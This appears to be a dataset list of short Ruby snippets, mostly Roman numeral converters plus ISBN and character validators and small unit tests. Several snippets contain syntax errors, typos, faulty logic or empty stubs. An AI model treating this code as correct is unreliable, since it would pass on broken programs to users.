"def valid_input\n if !@operand_one or !@operand_two or !RomanMathmaticalOperation.is_roman(@operand_one) or !RomanMathmaticalOperation.is_roman(@operand_two)\n raise RomanMathmaticalOperationError, \"This #{@operand_one} or #{@operand_two} is not valid\"\n end\n\n unless OPERATORS.include?(@operator)\n raise RomanMathmaticalOperationError, \"Operator missmatch\"\n end\n end",
"def verify\n\t\t@ascii_string.each do |value|\n\t\t\traise ArgumentError, \"#{value} is not an ASCII representation of number character with in the range 0-9\" unless NILTO9.key?(value) \n\t\tend\n\t\tself\n\tend",
"def roman\n #old_roman = nil\n #i,v,x,l,c,d,ms,request = nil\n while true \n puts \"enter a number between 1 and 3000 ['q' to quit program]\"\n request = gets.chomp\n break if request.downcase == 'q'\n (puts 'only enter between 1 and 3000';next) if request.to_i < 1 || request.to_i > 3000\n request= request.to_i\n ms = request / 1000\n test = request % 1000\n d = test / 500\n test = test % 500\n c = test / 100\n test = test % 100\n l = test / 50\n test = test % 50\n x = test / 10\n test = test % 10\n v = test / 5\n test = test % 5\n i = test\n puts\n puts \n old_roman = 'M'*ms + 'D'*d + 'C'*c+ 'L'*l + 'X'*x + 'V'*v+ 'I'*i\n puts old_roman\n end\n old_roman\nend",
"def romanize(input)\n\n raise ArgumentError, 'can not encode negative number' if input < 0\n raise ArgumentError, 'can not encode zero' if input == 0\n\n #Creating a Hash that pointing different numbers to different characters.\n romkeys = {1000 => 'M', 900 => 'CM', 500 => 'D', 400 => 'CD', 100 => 'C', 90 => 'XC', 50 => 'L', 40 => 'XL', 10 => 'X', 9 => 'IX', 5 => 'V', 4 => 'IV' ,1 => 'I'}\n\n #Creating a variable that have the format string, for storing the different characters.\n output = ' '\n\n #Looping until the input is zero.\n until input == 0\n\n #Looping thro the different keys and values of the hash.\n romkeys.each do |key, value|\n if input >= key\n\n #If the input was 5 this will result as 'V' after that the output will save the V and loop thro until it's nothing left.\n output += value\n\n #This subtract the key value to make the loop end.\n input -= key\n\n #This just ending the loop.\n break\n end\n end\n end\n\n #Returning the output string.\n return output\nend",
"def test_is_a_letter\n assert_equal true, RPN.letter?('c').zero?\n refute_equal true, RPN.letter?('$').zero?\n end",
"def test_check_for_letters_return_true\r\n\t\tisbn_number = '12m34X67890'\r\n\t\tassert_equal(true, check_for_letters(isbn_number))\r\n\tend",
"def roman_to_integer roman \n digit_vals = {'i' => 1,\n 'v' => 5,\n 'x' => 10,\n 'l' => 50,\n 'c' => 100,\n 'd' => 500,\n 'm' => 1000}\n total = 0 \n prev = 0 \n index = roman.length - 1 \n while index >= 0 \n c = roman[index].downcase \n index = index - 1 \n val = digit_vals[c]\n if !val \n puts \"This is not a valud roman numeral\"\n return \n end \n if val < prev\n val = val * -1\n else \n prev = val \n end \n total = total + val \n end \n total \nend",
"def test_letter\n test_value = RPN.letter?('a')\n assert_equal(test_value,0)\n end",
"def test_check_capital_non_alpha\r\n assert_equal true, @g.check_capital('?!.(3')\r\n end",
"def roman_numeral num\n\tif num > 999999\n\t\treturn \"number too big for roman numerals\"\n\tend\n\n\trom_digits = ['I','V','X','L','C','D','M','P','Q','R','S','T','A','B','E','F']\n\tnum_of_digits = (num).to_s.length\n\troman_num = ''\n\n\tfor i in 0...num_of_digits\n\t\troman_num = romnum_1_to_9(num,rom_digits[i*2],rom_digits[i*2+1],rom_digits[i*2+2],10**i) + roman_num\n\tend\n\t\n\treturn roman_num.downcase\n\nend",
"def test_7_rejects_only_alphnumeric\n result = is_alphanumeric?(\"1Abjilsa2\")\n refute(result, \"1Abjilsa2 has no alphanumeric, should be valid\")\n end",
"def roman number\n\t\nm_length = 0\nd_length = 0\nc_length = 0\nl_length = 0\nx_length = 0\nv_length = 0\ni_length = 0\n\nif number >= 1000\n\tm_length = number/1000\n\tnumber = number%1000\nend\nif number >= 500\n\td_length = number/500\n\tnumber = number%500\nend\nif number >= 100\n\tc_length = number/100\n\tnumber = number%100\nend\nif number >= 50\n\tl_length = number/50\n\tnumber = number%50\nend\nif number >= 10\n\tx_length = number/10\n\tnumber = number%10\nend\nif number >= 5\n\tv_length = number/5\n\tnumber = number%5\nend\nif number < 5\n\ti_length = number/1\n\tnumber = number%10\nend\n\nputs 'M'*m_length + 'D'*d_length + 'C'*c_length + 'L'*l_length + \"X\"*x_length + \"V\"*v_length + \"I\"*i_length\n\nend",
"def to_roman(num)\nend",
"def to_roman(num)\nend",
"def roman_to_integer str\r\n result = 0\r\n idx = 0\r\n\r\n # thousands\r\n while true\r\n if str[idx, 1].downcase != 'm'\r\n break\r\n end\r\n result += 1000\r\n idx += 1 \r\n end\r\n\r\n # 900 or 400 or 500\r\n if str[idx, 2].downcase == 'cm'\r\n result += 900\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'cd'\r\n result += 400\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'd'\r\n result += 500\r\n idx += 1\r\n end\r\n\r\n # hundreds\r\n while true\r\n if str[idx, 1].downcase != 'c'\r\n break\r\n end\r\n result += 100\r\n idx += 1\r\n end\r\n\r\n # 90 or 50 or 40\r\n if str[idx, 2].downcase == 'xc'\r\n result += 90\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'xl'\r\n result += 40\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'l'\r\n result += 50\r\n idx += 1\r\n end\r\n\r\n # tens\r\n while true\r\n if str[idx, 1].downcase != 'x'\r\n break\r\n end\r\n result += 10\r\n idx += 1 \r\n end\r\n\r\n # 9 or 4 or 5\r\n if str[idx, 2].downcase == 'ix'\r\n result += 9\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'iv'\r\n result += 4\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'v'\r\n result += 5\r\n idx += 1\r\n end\r\n\r\n # ones\r\n while true\r\n if str[idx, 1].downcase != 'i'\r\n break\r\n end\r\n result += 1\r\n idx += 1\r\n end\r\n\r\n if idx == str.length\r\n return result\r\n else\r\n puts \"#{str} is not a valid roman number\"\r\n end\r\nend",
"def solution(roman)\n dict = { \"I\" => 1, \"V\" => 5, \"X\" => 10, \"L\" => 50, \"C\" => 100, \"D\" => 500, \"M\" => 1000, \"N\" => 0 }\n return 0 if roman == \"N\"\n arr = roman.split(//)\n \n arr.each do |char| # check if all characters are valid\n if !dict.keys.include?(char)\n raise \"Invalid\"\n end \n end\n \n fre = Hash.new(0)\n arr.each do |char|\n fre[char] += 1\n end\n \n raise \"Invalid\" if fre[\"V\"], fre[\"L\"], fre[\"D\"] == 2 # these characters can't appear twice\n \n fre.each_value do |value| # a character can't repeat more than 3 times\n if value > 3\n raise \"Invalid\"\n end\n end\n \n # translation starts\n\n num = 0\n last = arr.length\n arr<<'N'\n i = 0\n while i < last\n if dict[arr[i]] < dict[arr[i+1]]\n num += (dict[arr[i+1]] - dict[arr[i]])\n i += 2\n else\n num += dict[arr[i]]\n i += 1\n end\n end \n return num \nend\n \n",
"def romanNumerator(romanString)\n charArray = romanString.chars\n romanSum = 0\n\n charArray.each_with_index do |char, index|\n\n nextChar = charArray[index + 1]\n charCombo = []\n charCombo << charArray[index]\n charCombo << charArray[index+1]\n charCombo = charCombo.join.upcase\n\n\n if charCombo == \"IV\" || charCombo == \"IX\" || charCombo == \"XL\" || charCombo == \"XC\" || charCombo == \"CD\" || charCombo == \"CM\"\n if charCombo == \"IV\"\n romanSum += 4\n charArray[index+1] = 0\n elsif charCombo == \"IX\"\n romanSum += 9\n charArray[index+1] = 0\n elsif charCombo == \"XL\"\n romanSum += 40\n charArray[index+1] = 0\n elsif charCombo == \"XC\"\n romanSum += 90\n charArray[index+1] = 0\n elsif charCombo == \"CD\"\n romanSum += 400\n charArray[index+1] = 0\n elsif charCombo == \"CM\"\n romanSum += 900\n charArray[index+1] = 0\n end\n elsif char == \"I\"\n romanSum += 1\n elsif char == \"V\"\n romanSum += 5\n elsif char == \"X\"\n romanSum += 10\n elsif char == \"L\"\n romanSum += 50\n elsif char == \"C\"\n romanSum += 100\n elsif char == \"D\"\n romanSum += 500\n elsif char == \"M\"\n romanSum += 1000\n end\n end\n\n return romanSum\n\nend",
"def roman_numeral(num)\n thousands = (num / 1000)\n hundreds = (num % 1000 / 100)\n tens = (num % 100 / 10)\n ones = (num % 10)\n\n roman = 'M' * thousands\n\n if hundreds == 9\n roman = roman + 'CM'\n elsif hundreds == 4\n roman = roman + 'CD'\n else\n roman = roman + 'D' * (num % 1000 / 500)\n roman = roman + 'C' * (num % 500 / 100)\n end\n\n if tens == 9\n roman = roman + 'XC'\n elsif tens == 4\n roman = romann + 'XL'\n else\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n end\n\n if ones == 9\n roman = roman + 'IX'\n elsif ones == 4\n roman = roman + 'IV'\n else\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\n end\n roman\nend",
"def get_roman_equiv input\n\tval = \"\"\n\tcredithash, codehash = read_input \n\tinput.split(\" \").each { |r| \n\t\tif codehash.has_key?(r)\n\t\t\tval = val + codehash[r]\n\t\tend\n\t}\n\treturn val\nend",
"def arabic\n return 1 if self =~ /^I$/;\n return 2 if self =~ /^II$/;\n return 3 if self =~ /^III$/;\n return 4 if self =~ /^IV$/;\n return 5 if self =~ /^V$/;\n return 10 if self =~ /^X$/;\n\n return nil\n end",
"def from_roman(roman)\n roman = roman.strip.upcase\n roman_a = roman.chars\n integer = 0\n roman_a.zip(roman_a[1..-1]).each do |ch, nch|\n if CHAR_PRECEDENCE.has_key?(ch) and CHAR_PRECEDENCE[ch].include?(nch)\n integer -= CHAR_VALUES[ch]\n else\n integer += CHAR_VALUES[ch]\n end\n end\n integer\nend",
"def old_roman_mod\n old_roman = nil\n i,v,x,l,c,d,ms,request = nil,nil,nil,nil,nil,nil,nil,nil\n ms = 0\n while true \n puts \"enter a number between 1 and 3000 ['q' to quit program]\"\n request = gets.chomp\n break if request.downcase == 'q'\n (puts 'only enter between 1 and 3000';next) if request.to_i < 1 || request.to_i > 3000\n request= request.to_i\n ms = request / 1000\n test = request % 1000\n d = test / 500\n test = test % 500\n c = test / 100\n test = test % 100\n l = test / 50\n test = test % 50\n x = test / 10\n test = test % 10\n v = test / 5\n test = test % 5\n i = test\n puts\n puts \n old_roman = 'M'*ms + 'D'*d + 'C'*c+ 'L'*l + 'X'*x + 'V'*v+ 'I'*i\n puts old_roman\n end\n old_roman\nend",
"def old_roman\n #old_roman = ''\n while true \n puts \"enter a number between 1 and 3000\"\n request = gets.chomp.to_i\n (puts 'only enter between 1 and 3000';next) if request < 1 || request > 3000\n ms = request / 1000\n test = request - ms*1000\n d = test / 500\n test = test - d*500\n c = test / 100\n test = test - c*100\n l = test / 50\n test = test - l*50\n x = test / 10\n test = test - x*10\n v = test / 5\n test = test - v*5\n i = test\n puts\n puts request\n puts 'M'*ms + 'D'*d + 'C'*c+ 'L'*l + 'X'*x + 'V'*v+ 'I'*i\n end\nend",
"def roman_numeral num\n \n if num >= 1000\n thousands = 'M' * (num / 1000)\n end\n\n # We now account for cases of 400 and 900 (CD, CM, respectively)\n # CCC=300, CD=400, D=500, DCCC=800, CM=900\n if num >= 100\n temp_hundreds = (num % 1000) / 100\n if temp_hundreds == 9\n hundreds = 'CM'\n elsif (temp_hundreds < 9 && temp_hundreds > 5)\n hundreds = 'D' + 'C' * (temp_hundreds - 5)\n elsif temp_hundreds == 5\n hundreds = 'D'\n elsif temp_hundreds == 4\n hundreds = 'CD'\n else\n hundreds = 'C' * temp_hundreds\n end\n end\n \n # We now account for cases of 40 and 90 (XL, XC, respectively)\n # XXX=30, XL=40, L=50, LXXX=80, XC=90\n if num >= 10\n temp_tens = (num % 100) / 10\n if temp_tens == 9\n tens = 'XC'\n elsif (temp_tens < 9 && temp_tens > 5)\n tens = 'L' + 'X' * (temp_tens - 5)\n elsif temp_tens == 5\n tens = 'L'\n elsif temp_tens == 4\n tens = 'XL'\n else\n tens = 'X' * temp_tens\n end\n end\n \n # We now account for cases of 4 and 9 (IV, IX, respectively)\n # III=3, IV=4, V=5, XIII=8, IX=9\n if num > 0\n temp_ones = num % 10\n if temp_ones == 9\n ones = 'IX'\n elsif (temp_ones < 9 && temp_ones > 5)\n ones = 'V' + 'I' * (temp_ones - 5)\n elsif temp_ones == 5\n ones = 'V'\n elsif temp_ones == 4\n ones = 'IV'\n else\n ones = 'I' * temp_ones\n end\n end\n \n puts \"#{num} in \\\"Modern\\\" Roman numerals is \"+\"#{thousands}\"+\"#{hundreds}\"+\"#{tens}\"+\"#{ones}\"\nend",
"def test_icvc_pass_A_returns_false\r\n\t\tassert_equal(false, isbn10_checksum_valid_character?(\"A\"))\r\n\tend",
"def romanesque?\n !!([given, family].join.gsub(Variable.markup, '') =~ Name.romanesque)\n end",
"def test_valid_isbn_length_returns_true_for_any_length_or_characters\r\n\t\tisbn_number = '1234X6789'\r\n\t\tassert_equal(false, valid_length?(isbn_number))\r\n\tend",
"def roman_numeral number\n\nend",
"def is_alpha?(input)\n !is_digit?(input)\nend",
"def test_icvc13_pass_A_returns_false\r\n\t\tassert_equal(false, isbn13_checksum_valid_character?(\"A\"))\r\n\tend",
"def validate()\n # rung base method to check\n # for alphabet\n super\n # check for sequenz\n # an validate sequenz length\n if (sequenz?)\n # hier check sequenz length \n if(@lenth != @string.length)\n raise \"String length is not correct\\nRequired lenght: #{@lenth}\\nCurrent length: #{@string.length}\\nString:#{@string}\" \n end\n end\n end",
"def roman_to_integer(roman)\n values = {i: 1, v: 5, x: 10, l: 50, c: 100, d: 500, m: 1000}\n total = 0\n prev = 0\n index = roman.length - 1\n while index >= 0\n c = roman[index].downcase\n c = c.to_sym\n index = index - 1\n value = values[c]\n if !value\n return \"Not a valid roman numeral\"\n end\n if value < prev\n value = value * -1\n else\n prev = value\n end\n total = total + value\n end\n total\nend",
"def roman digit\n\n\trules = [ 'I', 'V', 'X', 'L', 'C', 'D', 'M']\n\tnum = digit[0]\n\tplace = digit[1]\n\n\nromannumeral = []\nif num == 5\n\tromannumeral.push rules[place+1].to_s\n\n\nelse if num > 5\n\tromannumeral.push rules[place+1].to_s\n\tnum = num - 5\n\tnum.times do\n\tromannumeral.push rules[place].to_s\n\tend\n\nelse if num < 5\n\tnum.times do\n\t\tputs 'num<5'\n\tromannumeral.push rules[place].to_s\n\tend\n\n\tend\n\tend\n\tend\n\nreturn romannumeral\nend",
"def old_roman_numeral(num)\n\t@romanNumeral = \"\"\t\n\n\twhile num > 0\n\t\tquotient, modulus = num.divmod(1000)\n\t\t\tif quotient > 0 \t\t\t\t\t\t\t\t\t\t#using a divisor \n\t\t\t@romanNumeral << (\"M\" * quotient) #using divisor again\n\t\t\tnum = modulus\t\t\t\t\t\t\t\t\t\t\t\t#using modulus\n\t\telsif\n\t\t\tnum / 500 > 0\n\t\t\t@romanNumeral << (\"D\" * (num/500))\n\t\t\tnum %= 500\n\t\telsif\n\t\t\tif num / 100 > 0\n\t\t\t\t@romanNumeral << (\"C\" * (num/100))\n\t\t\t\tnum %= 100\n\t\t\telsif \n\t\t\t\tnum / 90 > 0 \n\t\t\t\t@romanNumeral << (\"XC\" * (num/90))\n\t\t\t\tnum %= 90\n\t\t\tend\n\t\telsif\n\t\t\tif num / 50 > 0\n\t\t\t@romanNumeral << (\"L\" * (num/50))\n\t\t\tnum %= 50\n\t\t\telsif \n\t\t\t\tnum / 40 > 0\n\t\t\t\t@romanNumeral << (\"XL\" * (num/40))\n\t\t\t\tnum %= 40 \t\t\t\n\t\t\tend\n\t\telsif\n\t\t\tif num / 10 > 0\n\t\t\t\t@romanNumeral << (\"X\" * (num/10))\n\t\t\t\tnum %= 10\n\t\t\telsif\n\t\t\t\tnum / 9 > 0\n\t\t\t\t@romanNumeral << (\"IX\" * (num/9))\n\t\t\t\tnum %= 9 \n\t\t\tend\n\t\telsif\n\t\t\tnum / 5 > 0\n\t\t\t@romanNumeral << (\"V\" * (num/5))\n\t\t\tnum %= 5\n\t\telse\n\t\t\tif\n\t\t\t\tnum / 4 > 0 \n\t\t\t\t@romanNumeral << (\"I\" * (num/4))\n\t\t\t\tnum %= 4\n\t\t\telse\n\t\t\t\tnum / 1 > 0 \n\t\t\t\t@romanNumeral << (\"I\" * (num/1))\n\t\t\t\tnum %= 1\n\t\t\tend\t\n\t\tend\n\tend\n\n\t@romanNumeral\n\nend",
"def old_roman num\r\n\r\n\taux = num\r\n\troman_num = ''\r\n\t\r\n\twhile true\r\n\t\r\n\t\tif((aux / 1000) >= 1)\r\n\t\t\troman_num = roman_num + 'M'\r\n\t\t\taux = aux - 1000\r\n\t\telsif ((aux / 500) >= 1)\r\n\t\t\tif(aux >= 900)\r\n\t\t\t\troman_num = roman_num + 'CM'\r\n\t\t\t\taux = aux - 900\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'D'\r\n\t\t\t\taux = aux - 500\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 100) >= 1)\r\n\t\t\tif(aux >= 400)\r\n\t\t\t\troman_num = roman_num + 'CD'\r\n\t\t\t\taux = aux - 400\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'C'\r\n\t\t\t\taux = aux - 100\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 50) >= 1)\r\n\t\t\tif(aux >= 90)\r\n\t\t\t\troman_num = roman_num + 'XC'\r\n\t\t\t\taux = aux - 90\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'L'\r\n\t\t\t\taux = aux - 50\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 10) >= 1)\r\n\t\t\tif(aux >= 40)\r\n\t\t\t\troman_num = roman_num + 'XL'\r\n\t\t\t\taux = aux - 40\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'X'\r\n\t\t\t\taux = aux - 10\t\t\r\n\t\t\tend\r\n\r\n\t\telsif((aux / 5) >= 1)\r\n\t\t\tif(aux >= 9)\r\n\t\t\t\troman_num = roman_num + 'IX'\r\n\t\t\t\taux = aux - 9\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'V'\r\n\t\t\t\taux = aux - 5\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 1) >= 1)\r\n\t\t\tif(aux >= 4)\r\n\t\t\t\troman_num = roman_num + 'IV'\r\n\t\t\t\taux = aux - 4\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'I'\r\n\t\t\t\taux = aux - 1\t\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tbreak\t\t\t\r\n\t\tend\r\n\tend\r\n\t\r\n\troman_num\r\nend",
"def roman_numeral num\n\tif num > 999999\n\t\treturn \"number too big for roman numerals\"\n\tend\n\n\trom_digits = ['I','V','X','L','C','D','M','P','Q','R','S','T','A','B','E','F']\n\tnum_of_digits = (num).to_s.length\n\troman_num = ''\n\n\tfor i in 0...num_of_digits\n\t\troman_num = romnum_1_to_9(num,rom_digits[i*2],rom_digits[i*2+1],rom_digits[i*2+2],10**i) + roman_num\n\tend\n\t\n\treturn roman_num\n\nend",
"def old_roman_numeral(num)\n return \"Please use a positive integer.\" if num <= 0\n \n roman = \"\"\n \n roman << \"M\" * (num / 1000)\n roman << \"D\" * (num % 1000 / 500)\n roman << \"C\" * (num % 500 / 100)\n roman << \"L\" * (num % 100 / 50)\n roman << \"X\" * (num % 50 / 10)\n roman << \"V\" * (num % 10 / 5)\n roman << \"I\" * (num % 5 / 1)\n \n roman\nend",
"def test_normalize_works_with_non_roman_chars\n assert_equal \"検-索\", Slug::normalize(\"検 索\")\n end",
"def to_roman(num)\n place_value_digits = num.to_s.split('').map { |digit| digit.to_i}\n\n if place_value_digits.length == 0 \n return \"\"\n end \n\n if place_value_digits[0] == 0 \n place_value_digits.shift \n return \"\" + to_roman(place_value_digits) if place_value_digits.empty? == false\n return \"\"\n end \n\n if place_value_digits.length == 1 \n digit = place_value_digits.shift\n if digit <= 3\n return \"I\" * digit\n elsif digit == 4\n return \"IV\" \n elsif digit == 5 \n return \"V\" \n elsif digit > 5 && digit < 9\n return \"V\" + (\"I\" * (digit - 5))\n else \n return \"IX\"\n end \n\n elsif place_value_digits.length == 2 \n digit = place_value_digits.shift\n if digit <= 3\n return \"X\" * digit + to_roman(place_value_digits.join.to_i)\n elsif digit == 4\n return \"XL\" + to_roman(place_value_digits.join.to_i)\n elsif digit == 5 \n return \"L\" + to_roman(place_value_digits.join.to_i)\n elsif digit > 5 && digit < 9\n return \"L\" + (\"X\" * (digit - 5)) + to_roman(place_value_digits.join.to_i)\n else \n return \"XC\" + to_roman(place_value_digits.join.to_i)\n end \n\n elsif place_value_digits.length == 3\n digit = place_value_digits.shift\n if digit <= 3\n return \"C\" * digit + to_roman(place_value_digits.join.to_i)\n elsif digit == 4\n return \"CD\" + to_roman(place_value_digits.join.to_i)\n elsif digit == 5 \n return \"D\" + to_roman(place_value_digits.join.to_i)\n elsif digit > 5 && digit < 9\n return \"D\" + (\"C\" * (digit - 5)) + to_roman(place_value_digits.join.to_i)\n else \n return \"CM\" + to_roman(place_value_digits.join.to_i)\n end \n\n elsif place_value_digits.length == 4 \n digit = place_value_digits.shift\n return \"M\" * digit + to_roman(place_value_digits.join.to_i)\n end \n end",
"def roman_convert(input)\n numerals_string = []\n input_array = input.split('')\n\n until input_array.empty?\n case input_array.length\n when 4\n puts \"#{input_array.first}000 = #{@thousands[input_array.first.to_i]}\"\n numerals_string.push(@thousands[input_array.shift.to_i])\n when 3\n puts \" #{input_array.first}00 = #{@hundreds[input_array.first.to_i]}\"\n numerals_string.push(@hundreds[input_array.shift.to_i])\n when 2\n puts \" #{input_array.first}0 = #{@tens[input_array.first.to_i]}\"\n numerals_string.push(@tens[input_array.shift.to_i])\n when 1\n puts \" #{input_array.first} = #{@units[input_array.first.to_i]}\"\n numerals_string.push(@units[input_array.shift.to_i])\n else\n break\n end\n end\n\n puts ''\n puts 'Your number converted to Roman Numerals is: '\n puts \"#{numerals_string.join}\"\n puts ''\n end",
"def modern_roman_numeral number\n numeral = \"\"\n\n numeral_1 = (number / 1000)\n numeral_2 = (number % 1000/100)\n numeral_3 = (number % 100/ 10) \n numeral_4 = (number % 10) \n \n roman = \"M\" * numeral_1\n\nif numeral_2 == 9\n roman = roman + \"CM\"\nelsif numeral_2 == 4\n roman = roman + \"CD\"\nelse\n roman = roman + \"D\" * (number % 1000 / 500)\n roman = roman + \"C\" *(number % 500/100) \n end\nif numeral_3 == 9\n roman = roman + \"XC\"\nelsif numeral_3 == 4\n roman = roman + \"XL\"\nelse\n roman=roman +\"L\" *(number % 100/ 50)\n roman=roman + \"X\"*(number % 50/ 10) \n end\nif numeral_4 == 9\n roman = roman + \"IX\"\nelsif numeral_4 == 4\n roman = roman + \"IV\"\nelse\n roman = roman + \"V\" * (number % 10/ 5)\n roman = roman + \"I\" * (number % 5/ 1) \nend\n\nroman\n\nend",
"def test_seqence_valid17\n result = engine(\"TRUMP12%\")\n refute(result, \"'TRUMP12%' should not be valid because it does not contain lower case letters.\")\n end",
"def new_roman_numeral(number)\n \n roman = \"\"\n\n thousands_place = number/1000\n hundreds_place = (number%1000)/100\n tens_place = (number%100)/10\n ones_place = (number%10)\n\n roman << \"M\"*thousands_place\n\n if hundreds_place == 9\n roman << \"CM\"\n elsif hundreds_place == 4\n roman << \"CD\"\n else\n roman = roman << 'D' * (number%1000 /500)\n roman = roman << 'C' * (number%500 /100)\n end\n\n if tens_place == 9\n roman << \"XC\"\n elsif tens_place == 4\n roman << \"XL\"\n else\n roman = roman << 'L' * (number%100 /50)\n roman = roman << 'X' * (number%50 /10)\n end\n\n\n if ones_place == 9\n roman << \"IX\"\n elsif ones_place == 4\n roman << \"IV\"\n else\n roman = roman << 'V' * (number%10 /5)\n roman = roman << 'I' * (number%5)\n end\n \n\n\nend",
"def check_chars(isbn)\r\n\tvalid = true\r\n\tisbn_length = strip_length(isbn)\r\n\t#Set match to false, because a match means invalid ISBN.\r\n\tif isbn_length == 10\r\n\t\t$store_length = 10\r\n\r\n\t\tif isbn[0...-1].match(/[^- 0-9]/)\r\n\t\t\tvalid = false\r\n\t\tend\r\n\r\n\telse isbn_length == 13\r\n\t\t$store_length = 13\r\n\t\t\r\n\t\tif isbn.match(/[^- 0-9]/)\r\n\t\t\tvalid = false\r\n\t\tend\r\n\tend\r\n\tvalid\r\n\t\t\r\nend",
"def old_roman num\r\n\r\n\taux = num\r\n\troman_num = ''\r\n\t\r\n\twhile true\r\n\t\r\n\t\tif((aux / 1000) >= 1)\r\n\t\t\troman_num = roman_num + 'M'\r\n\t\t\taux = aux - 1000\r\n\t\t\tputs aux\r\n\t\telsif ((aux / 500) >= 1)\r\n\t\t\troman_num = roman_num + 'D'\r\n\t\t\taux = aux - 500\t\t\r\n\t\t\tputs aux\r\n\t\telsif((aux / 100) >= 1)\r\n\t\t\troman_num = roman_num + 'C'\r\n\t\t\taux = aux - 100\r\n\t\t\tputs aux\r\n\t\telsif((aux / 50) >= 1)\r\n\t\t\troman_num = roman_num + 'L'\r\n\t\t\taux = aux - 50\r\n\t\t\tputs aux\r\n\t\telsif((aux / 10) >= 1)\r\n\t\t\troman_num = roman_num + 'X'\r\n\t\t\taux = aux - 10\r\n\t\t\tputs aux\r\n\t\telsif((aux / 5) >= 1)\r\n\t\t\troman_num = roman_num + 'V'\r\n\t\t\taux = aux - 5\r\n\t\t\tputs aux\r\n\t\telsif((aux / 1) >= 1)\r\n\t\t\troman_num = roman_num + 'I'\r\n\t\t\taux = aux - 1\r\n\t\t\tputs aux\r\n\t\telse\r\n\t\t\tbreak\t\t\t\r\n\t\tend\r\n\tend\r\n\t\r\n\troman_num\r\nend",
"def test_execute_expression\n assert_equal(\"L\", RomanMathmaticalOperation.new(\"XL\",\"+\",\"X\").execute_expression)\n assert_equal(\"XCIX\", RomanMathmaticalOperation.new(\"C\",\"-\",\"I\").execute_expression)\n assert_equal(\"X\", RomanMathmaticalOperation.new(\"C\",\"/\",\"X\").execute_expression)\n assert_equal(\"C\", RomanMathmaticalOperation.new(\"X\",\"*\",\"X\").execute_expression)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"Y\",\"*\",\"X\").execute_expression}\n assert_equal(\"Not valid input\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\",\"*\",0).execute_expression}\n assert_equal(\"Not valid input\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\").execute_expression}\n assert_equal(\"This X or is not valid\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"%\",\"V\").execute_expression}\n assert_equal(\"Operator missmatch\", exception.message)\n end",
"def roman_to_integer(roman_value)\n digital_vals = {'i'=> 1, 'v'=> 5, 'x'=> 10, 'l'=> 50, \n 'c'=> 100, 'd'=> 500, 'm'=> 1000,}\n\n roman_value.each_char do |char|\n if digital_vals.has_key?(char) == false\n return \"Invalid Entry!\"\n end \n end\n\n \n\n reversed_roman_value = roman_value.reverse\n total_value = 0\n prev_val = 0\n prev_char = ''\n reversed_roman_value.each_char do |char|\n val = digital_vals[char]\n\n val < prev_val ? val *= -1 : prev_val = val\n total_value += val\n\n\n\n=begin \nNote: The commented method below isn't concise and simple as the current implementation\nabove.\nInstead of comparing the alphabets, it's simpler to compare the values\n case \n when ((char == 'i') && (prev_char == 'x')) then total_value -= 1\n when ((char == 'i') && (prev_char == 'v')) then total_value -= 1\n when ((char == 'x') && (prev_char == 'l')) then total_value -= 10\n when ((char == 'x') && (prev_char == 'c')) then total_value -= 10\n when ((char == 'c') && (prev_char == 'd')) then total_value -= 100\n when ((char == 'c') && (prev_char == 'm')) then total_value -= 100\n else \n total_value += digital_vals[char]\n end\n prev_char = char\n\n=end \n\n end\n\n \n\n \n total_value\nend",
"def test_non_alpha_numeric8\n result = non_alpha_num?(\"ryaNStantz1\")\n refute(result, \"'ryaNStantz1' should not be valid because it should be valid because it does not contain a non-alpha-numeric character\")\n end",
"def to_roman(integer)\n integer = integer.to_i\n if integer < 1 or integer > 3999\n raise RangeError, \"Integer must be between 1 and 3999\"\n end\n\n roman = \"\"\n integer, roman = prepare_group(integer, roman, 1000, \"M\", 900, \"CM\")\n integer, roman = prepare_group(integer, roman, 500, \"D\", 400, \"CD\")\n integer, roman = prepare_group(integer, roman, 100, \"C\", 90, \"XC\")\n integer, roman = prepare_group(integer, roman, 50, \"L\", 40, \"XL\")\n integer, roman = prepare_group(integer, roman, 10, \"X\", 9, \"IX\")\n integer, roman = prepare_group(integer, roman, 5, \"V\", 4, \"IV\")\n integer, roman = prepare_group(integer, roman, 1, \"I\", nil, nil)\n\n roman\nend",
"def can_make_valid_palindrome(s)\n\nend",
"def test_check_digits_alpha\r\n assert_nil @g.check_digits('01234a6789')\r\n end",
"def roman_numerals(number)\n\n puts (\"M\" * (number/1000)).to_s\n if ((number%1000)%500) == 0\n puts (\"D\" * (number%1000/500)).to_s\n if ((number%500)%100) == 0\n puts (\"C\" * (number%500/100)).to_s\n if ((number%100)%50) == 0\n puts (\"L\" * (number%100/50)).to_s\n if ((number%50)%10) == 0\n puts (\"X\" * (number%50/10)).to_s\n if ((number%10)%5) == 0\n puts (\"V\" * (number%10/5)).to_s\n if ((number%5)%1)) == 0\n puts (\"I\" * (number%5/1)).to_s\n end\n end\n end\n end\n end\n end\n\n\nend",
